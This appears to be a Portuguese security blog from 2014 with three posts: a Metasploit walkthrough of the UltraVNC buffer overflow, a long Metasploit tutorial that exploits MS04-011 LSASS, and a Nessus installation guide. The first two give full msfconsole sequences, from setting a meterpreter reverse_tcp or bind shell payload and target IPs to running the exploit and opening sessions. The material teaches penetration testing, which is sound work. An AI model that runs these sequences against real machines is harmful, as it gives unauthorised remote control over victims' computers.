domingo, 21 de setembro de 2014

Slides da apresentação

sexta-feira, 19 de setembro de 2014

Hack Remote Windows 7 PC Using UltraVNC Buffer Overflow Attack

This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release. If a malicious server responds to a client connection indicating a minor protocol version of 14 or 16, a 32-bit integer is subsequently read from the TCP stream by the client and directly provided as the trusted size for further reading from the TCP stream into a 1024-byte character array on the stack Exploit Targets
0-Windows XP SP3 (default)
1-Windows XP SP2
2-Windows 7 Requirement
Attacker: Backtrack 5 
Victim PC: Windows 7 
Open backtrack terminal type msfconsole
Msf# show exploits
Now type use exploit/windows/vnc/ultravnc_bof
Msf exploit (ultravnc_bof) show payloads
Msf exploit (ultravnc_bof)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ultravnc_bof)>set rhost 192.168.1.13 (This must be an address on the local machine)
Msf exploit (ultravnc_bof)>set lhost 192.168.1.12 (IP of Local Host)
Msf exploit (ultravnc_bof)>exploit

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

Fonte: 
http://bytecode.in/blog/index.php/category/backtrack/buffer-overflow-backtrack/ 

domingo, 7 de setembro de 2014

Metasploit FrameWork


O Metasploit framework é um conjunto das melhores plataformas de aprendizagem e investigação para o profissional de segurança ou do hacker ético. Ele possui centenas de exploits, payloads e ferramentas muito avançadas que nos permite testar vulnerabilidades em muitas plataformas, sistemas operacionais e servidores.

Introdução


A pesquisa de vulnerabilidades de software evoluiu muito nos últimos anos. O pesquisador de vulnerabilidades é o técnico responsável em encontrar falhas no software que podem levar a um mal funcionamento do software, ou ainda a uma possível falha de segurança. A visão geral sobre segurança não se limita apenas a um possível invasor ou acesso não autorizado ao sistema, segurança de software significa manter o software em seu perfeito funcionamento, ou seja, o funcionamento imaginado pelo desenvolvedor.

No cenário atual da segurança da informação, infelizmente tentamos proteger a informação não pela raiz do problema, escrevendo programas com qualidade, mas criando outros softwares para proteger um software mal desenvolvido anteriormente. Por exemplo: instalamos um software que tem erros de programação que pode ser explorado por um intruso, então instalamos um firewall que tentará bloquear o tráfego de dados entre o software e o acesso não autorizado. Esse tipo de abordagem não tem se mostrado muito eficaz. E se esse programa feito para proteger o software mal desenvolvido também conter os mesmos erros de programação?

Ferramentas como o Metasploit podem ajudar aos desenvolvedores de software produzirem software com maior qualidade, do ponto de vista da segurança, na medida que incentiva os programadores a pensarem a respeito de como algumas técnicas de programação levam as falhas de segurança.

O Metasploit framework é um conjunto das melhores plataformas de aprendizagem e investigação para o profissional de segurança ou do hacker ético. Ele possui centenas de exploits, payloads e ferramentas muito avançadas que nos permite testar vulnerabilidades em muitas plataformas, sistemas operacionais, e servidores. Este framework deve ser utilizado com muita cautela e somente para fins éticos. 

 O que é Metasploit Framework

 
Como mencionado em seu Website, Metasploit Framework é uma avançada plataforma Open Source, concebida especificamente com o objetivo de reforçar e acelerar o desenvolvimento, ensaio e utilização de exploits.

O projeto relacionado a este Framework, de acordo com seus criadores, que nasceu como um jogo, tem mostrado um crescimento espetacular em especial nos últimos tempos (na minha modesta opinião... especificamente a partir da versão 2.2), aspecto que lhe ajudou a conquistar um lugar privilegiado no âmbito do kit de ferramentas de todo profissional relacionado de alguma forma ou de outra com as tecnologias de segurança da informação.

Escrito na maioria das vezes em "Perl" (seu único defeito, de acordo com o parecer do número cada vez maior de amantes de "Python"...) e com vários componentes desenvolvidos em "C " e "Assembler", sua portabilidade está assegurada, o que contribui em larga medida para a sua aceitação maciça, porque qualquer que seja a sua escolha de plataforma de uso (Like-Unix, BSD, Mac X, Windows etc), pode instalá-lo e desfrutar todos os seus poderes em poucos minutos e sem grandes dificuldades.

Um aspecto interessante no que se refere à concessão de licenças para as novas versões do Metasploit Framework, é o fato de que ela é baseada tanto em GPL v2 como um "Perl Artistic License", permitindo a sua utilização em projetos Open Source assim como em projetos comerciais.

O principal objetivo do MSF é criar um ambiente de pesquisa, desenvolvimento e exploração de vulnerabilidades de software, fornecendo as ferramentas necessárias para o ciclo completo da pesquisa que pode ser divido basicamente em:

* Descoberta da vulnerabilidade: Onde o pesquisador descobre um erro de programação que pode levar ou não a uma brecha de segurança;
* Análise: Onde o pesquisador analisa a vulnerabilidade para determinar quais as maneiras pela qual a mesma pode ser explorada. Perguntas-chave são feitas nessa fase do desenvolvimento, como por exemplo: De qual maneira a vulnerabilidade pode ser explorada? Localmente ou remotamente? Entre outras dezenas mais;
* Desenvolvimento do exploit: Depois de respondidas as perguntas da fase de analise, começa o desenvolvimento da exploração em si, como prova da existência real da vulnerabilidade. Técnicas de engenharia reversa, programação, debugger etc são usadas nessa fase;
* Teste do exploit: Nessa fase o exploit é testado em diferentes ambientes e variáveis, service packs, patchs etc. O exploit em si é a prova definitiva que a vulnerabilidade pode ser explorada. 

Desenvolvimento do MSF

 
A primeira versão estável do MSF foi lançada em meados de 2004. Originalmente escrito em Perl, Assembler e C. Seus desenvolvedores (veja a lista no endereço) resolveram quebrar o paradigma de como os exploits eram desenvolvidos até então.

Escrever um exploit anteriormente era uma tarefa complexa, e a exploração de uma vulnerabilidade exigia conhecimentos profundos em programação especifica para cada plataforma. O MSF veio para diminuir essa complexidade e fazer intenso reuso de código, assim como faz a concepção da programação orientada a objetos.

Digamos que antes do MSF o desenvolvimento dos exploits era feito no melhor estilo da programação procedural tradicional, e depois do MSF a pesquisa começou a se basear na programação orientada a objetos.

A versão 2.x foi substituída pela versão 3.x, totalmente reescrita na linguagem Ruby que é uma linguagem O-O real, com características únicas, como: alto nível de introspecção, recriação automatizada de classes, suporte a threading com plataforma independente e, finalmente, porque é uma linguagem que os desenvolvedores realmente sentem prazer em usar. Como resultado do uso do Ruby, o código original foi enxugado em quase 40, entretanto algumas partes do código ainda estão em Assembler e C.

Com a versão 3.x, a licença passou da GPL 2, mas parecida com a GPL 3. O Objetivo da nova licença é proteger o núcleo do projeto do uso comercial, mas ao mesmo tempo, autorizar a integração com módulos comerciais agregados, desde que estes módulos não modifiquem o framework. Em suma, o Metasploit continua sendo open source, e não acontecerá com ele, segundo os desenvolvedores, o que aconteceu com o scanner de vulnerabilidades Nessus. 

Tecnologia


O núcleo do Metasploit reside no REX (Ruby Extension Library), que é uma coleção de classes e métodos.

Para exemplificar algumas entre as muitas funcionalidades dessas classes do REX, durante o desenvolvimento do exploit precisamos ajustar o stack pointer, muitas vezes isso significa chamar determinado operador, que são específicos para cada plataforma, como por exemplo: jmp opcode na arquitetura x86. Então invocamos a classe Rex::Arch:: para ajustar o stack pointer e depois especificarmos a plataforma com Rex::Arch::X86 com os métodos jmp, mov, sub, pack, add, call, clear etc.

Outro exemplo famoso e infame é a classe Rex::Exploration::Seh. O Structured Exception Handling, SEH, é uma proteção usada para checar o controle do fluxo cada vez que uma exceção acontece. Um estouro de buffer modifica o fluxo comum do programa e o SEH trata desses erros. A classe Rex::Exploration::Seh pode ser usada para evadir o SEH.

Para o iniciante é importante saber a diferença entre exploit e payload. Exploit é a exploração da falha em si, que permite ao explorador fazer alguma coisa. O payload é a coisa que será feita. Um comando a ser executado, um shell etc.

 

Tecnologia do Meterpreter Payload

 
A fase chamada pós-exploração foi significantemente melhorada na versão três. Um dos principais payloads do MSF é o Meterpreter. O Meterpreter tenta ser invisível ao sistema atacado. Para ilustrar, vamos ao exemplo de problemas: Host Intrusion Detection Systems podem soar um alarme assim que você digitar seu primeiro comando no shell ou mesmo deixar rastros para que o perito forense descubra o que foi feito durante o ataque.

Para finalizar esse capitulo introdutório, que não tem por objetivo ser exaustivo com relação à tecnologia do framework, lembre-se de que, como todo projeto open source, é muito dinâmico e novidades são incorporadas da noite para o dia. Esperamos que todos possam aprendam muito mais sobre segurança com o uso do Metasploit Framework.

 

Primeiros passos na utilização do Metasploit

 
Abaixo vemos o console do MSF (Metasploit Framework) aberto, que tanto pode ser executado a partir da interface web no Windows, clicando em Console. Ou então, no Linux, basta digitar "./msfconsole" no console do Linux. 


Depois de alguns segundos (dependendo da velocidade de seu computador), a tela de MSFConsole aparecerá conforme a imagem. Leve alguns momentos para explorar a tela de console digitando "help" no prompt msf>. 

Para ver os vários exploits existentes e ter uma leve noção de sua aplicabilidade, digite "show exploits" no prompt msf>. Veja a figura abaixo: 

Para informação sobre um comando em particular, você pode usar o comando de info. Você sempre poderá ter certeza do comando se for útil antes de você executá-lo. Olhemos para informação disponível para o comando lsass_ms04_011. Digite "info windows/smb/ms04_011_lsass".

Veja abaixo o que aparecerá na tela para você:

>> info windows/smb/ms04_011_lsass

Name: Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
Version: 4511

Platform: Windows
Privileged: Yes

License: Metasploit Framework License

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name

-- ----
0 Automatic Targetting

1 Windows 2000 English
2 Windows XP English

Basic options:
Name Current Setting Required Description

-------- ------------------- ------------ ---------------
RHOST yes The target address

RPORT 445 yes Set the SMB service port

Payload information:
Space: 1024

Avoid: 7 characters

Description:
This module exploits a stack overflow in the LSASS service, this

vulnerability was originally found by eEye. When re-exploiting a
Windows XP system, you will need need to run this module twice.

DCERPC request fragmentation can be performed by setting 'FragSize'
parameter.


Essas informações exibidas sobre o exploit são muito importantes para sabermos como ele funciona e qual a utilidade dele. É pesquisando dessa forma que definiremos qual o melhor exploit para utilizarmos contra um determinado alvo.
Para utilizar esse exploit, por exemplo, digite "use Windows/smb/ms04_011_lsass" no prompt msf>. O prompt msf> automaticamente muda para "msf exploit(ms04_011_lsass)>" mostrando que o exploit foi selecionado e está pronto para uso. 
Agora vamos ver que tipo de alvo pode ser afetado por esse exploit. Basta digitar "show targets" no prompt msf>. Será exibida a seguinte tela: 


Agora precisamos saber o que podemos fazer com esse exploit, já que o exploit é a exploração da falha em si. Portanto, precisamos de um programa (ou módulo) que utilize a falha da maneira que precisamos (execute um comando, rode um shell e etc), esse programa ou módulo é um payload.

Para sabermos qual payload está disponível para esse exploit, digite no prompt msf> o comando "show payloads", e então a tela a seguir será exibida com uma lista de todos os payloads compatíveis com esse exploit. 



Para definirmos o tipo de alvo que atacaremos explorando suas falhas, digite "set TARGET #" substituindo o # pelo número de identificação do tipo de alvo que atacaremos como mostrado numa tela anterior (nesse caso só temos as opções 0 = automático, 1 = Windows 2000 e 2 = Windows XP).

Para sabermos o tipo de S.O. de nosso alvo, deveremos ter pesquisado isso na fase de fingerprinting, onde colhemos informações sobre nossos hosts alvos.

Vamos, como exemplo, atacar um host que tenha como seu S.O. o Windows XP e queremos rodar um Shell a partir dele para termos acesso à máquina. Vou digitar "set target 2" no prompt msf> para informar que meu alvo é uma máquina rodando o Windows XP.

E, logo após isso, vou digitar "set PAYLOAD generic/shell_bind_tcp" para definir o payload que utilizarei, e me retornará um shell de comando quando rodar o exploit contra o alvo. 
 
Nesse ponto, se digitarmos "?" no prompt msf>, além da explicação dos comandos básico, surgem outros comandos que precisaremos utilizar. Veja abaixo:

Como exibido com o comando "info" usado anteriormente, temos duas opções básicas desse exploit que precisamos configurar para que ele possa ser utilizado. São elas:

Name Current Setting Required Description
-------- ------------------- ------------ ---------------

RHOST yes The target address
RPORT 445 yes Set the SMB service port

Vemos que o valor de RPORT está como 445, que será a porta através da qual será lançado o exploit, mas podemos mudar esse valor se quisermos. Digamos que através de um scan anterior descobri algumas vulnerabilidades na porta 150, então é essa mesma que vou utilizar, digitando o seguinte comando no prompt msf> "set RPORT 150". Vejamos na tela abaixo como ficou após a execução desse comando:


O valor da opção RPORT foi alterado para 150, que será a porta utilizada para o ataque.

Agora vamos à outra opção. A opção RHOST definirá o endereço que será atacado via exploit, e precisamos configurá-lo adequadamente, atribuindo o endereço IP do alvo. Digamos que quero atacar o IP 192.168.0.1, preciso digitar o comando "set RHOST 192.168.0.1" no prompt msf>.
 

Vejamos abaixo como ficou a configuração de ambas opções:
  Agora precisamos completar o exploit, executando-o contra o alvo. Para tanto, temos duas alternativas:

1. utilizar o comando "check" em primeiro lugar para ver se nosso alvo é vulnerável a esse exploit e depois usar o comando "exploit" para executá-lo; ou

2. utilizar diretamente o comando "exploit" para executar o ataque, posto que alguns módulos não aceitam a execução do comando "check".

No caso desse exploit, o comando "check" não é suportado; então teremos que usar o comando "exploit", sem a possibilidade de testar anteriormente se o alvo é suscetível ao ataque.

Se o ataque falhar contra o alvo, um aviso como se segue será exibido. Se não, sendo o alvo vulnerável a esse ataque, você será apresentado a uma interface de linha de comando interativa da máquina designada, ou seja, você cairá no prompt de comando. Não desanime se não conseguir de primeira! Isto só significa que a máquina que está testando não é vulnerável ao ataque! 

Análise final

 
Sinta-se à vontade para testar com outros exploits e outros payloads, afinal esta é a essência da invasão com o Metasploit: testar até descobrir qual a vulnerabilidade certa e usar uma combinação de exploit e payload que funcione.

Procure manter-se sempre atualizado com as novas versões do Metasploit, pois os pacotes de exploits, payloads e módulos sempre são atualizados e vem com novas opções.



Fonte:
http://forum.guiadohacker.com.br/showthread.php?t=6804
 

segunda-feira, 1 de setembro de 2014

Utilizando o Nessus na auditoria de dados

O Nessus é uma ferramenta bastante utilizada para realizar auditoria, ele é capaz de detectar e corrigir vulnerabilidades nos Pcs na rede local. De maneira geral ele realiza uma varredura de portas, detectando servidores ativos e simulando invasões para detectar vulnerabilidades. Além disso, é importante ressaltar que o Nessus procura por servidores ativos não apenas nas portas padrão, mas sim em em todas as portas TCP.

A princípio o projeto funcionava principalmente no Linux, hoje ele já possui versão para Windows. Inicialmente o Nessus era gratuito e open source, mas em 2005 o código foi fechado devido a interesses financeiros de outras empresas.

 Atualmente ele possui plano individual e o plano empresa, onde os valores praticados são $1500 e $ 5000, respectivamente. Confira na tabela abaixo:
(Clique para ampliar)


Download 

O download do aplicativo pode ser realizado através da página http://www.tenable.com/products/nessus/select-your-operating-system onde é apresentado várias opções para download desde a versão gratuita até a versão corporativa baseado em cloud computing.


(Clique para ampliar)


Vantagens

Uma das grandes vantagens do Nessus é que é disponibilizada atualizações frequentemente com mais de 46 000 plugins. Essas ferramentas garantem uma probabilidade maior de encontrar vulnerabilidades.

Instalando o Nessus


A versão para Windows possui uma interface intuitiva baseada em etapas até a conclusão da instalação.

Na etapa seguinte é feito o processo de finalização da instalação do Nessus já no navegador do usuário:
(Clique para ampliar)
  Será exibido uma tela a respeito da exceção de segurança, para continuar a instalação será necessário adicionar a url a lista de exceções.

Próxima etapa será adicionar a conta de administrador e efetuar o registro:

(Clique para ampliar)
 Tela de registro no site da Tenable Network Security:

Se tudo ocorrer bem a ultima tela irá exibir o download dos plugins, conforme o print abaixo:



Depois do Nessus instalado o primeiro passo é definir uma política para poder executar o primeiro scan:

(Clique para ampliar)
Scan:

(Clique para ampliar)
Resultado do Scan:
(Clique para ampliar)

Conclusão

Esse post teve o objetivo de introduzir o conhecimento básico sobre o uso de ferramentas para detectar vulnerabilidades em sistemas.

Fontes:
http://www.tenable.com/products/nessus
http://www.hardware.com.br/guias/seguranca-linux-windows/usando-nessus.html
http://www.hardware.com.br/livros/redes/usando-nessus.html
http://www.linuxsecurity.com.br/sections.php?op=viewarticle&artid=18